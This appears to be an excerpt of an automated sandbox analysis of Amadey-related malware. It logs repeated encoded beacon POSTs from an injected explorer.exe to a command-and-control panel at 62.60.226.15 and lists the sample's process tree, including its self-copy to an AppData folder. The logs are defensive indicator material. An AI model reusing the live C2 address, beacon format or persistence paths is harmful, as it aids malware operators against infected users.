Dec 16, 2024 15:29:54.891597033 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:29:56.163078070 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:29:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.10	49788	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:29:57.907567024 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:29:59.175875902 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:29:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.10	49789	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:30:00.813570023 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:30:02.089543104 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:30:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.10	49790	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:30:03.844510078 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:30:05.282505989 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:30:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.10	49791	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:30:06.907111883 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:30:08.180849075 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:30:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.10	49792	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:30:09.927575111 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:30:11.266268969 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:30:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.10	49793	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:30:12.893666029 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:30:14.165957928 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:30:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.10	49794	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:30:15.909370899 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:30:17.181735039 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:30:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.10	49795	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:30:18.813699007 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:30:20.087594032 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:30:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.10	49796	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:30:21.828835011 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:30:23.097453117 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:30:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.10	49797	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:30:24.736413956 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:30:26.007086992 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:30:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.10	49798	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:30:27.759300947 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:30:29.046945095 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:30:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.10	49799	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:30:30.681500912 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:30:31.953548908 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:30:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Target ID:	0
Start time:	09:26:26
Start date:	16/12/2024
Path:	C:\Users\user\Desktop\pTvHtQDXio.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\pTvHtQDXio.exe"
Imagebase:	0x400000
File size:	14'014'536 bytes
MD5 hash:	7C23CCA92DDABC20911E0C51E19B002B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	09:26:27
Start date:	16/12/2024
Path:	C:\Windows\SysWOW64\more.com
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\more.com
Imagebase:	0x750000
File size:	24'576 bytes
MD5 hash:	03805AE7E8CBC07840108F5C80CF4973
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: 00000002.00000002.1577858534.0000000005CD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Target ID:	3
Start time:	09:26:27
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	09:26:36
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Roaming\ancar\comet.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\ancar\comet.exe
Imagebase:	0x400000
File size:	14'014'536 bytes
MD5 hash:	7C23CCA92DDABC20911E0C51E19B002B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Target ID:	9
Start time:	09:26:37
Start date:	16/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7580 -s 640
Imagebase:	0xe20000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	09:26:38
Start date:	16/12/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0xb30000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false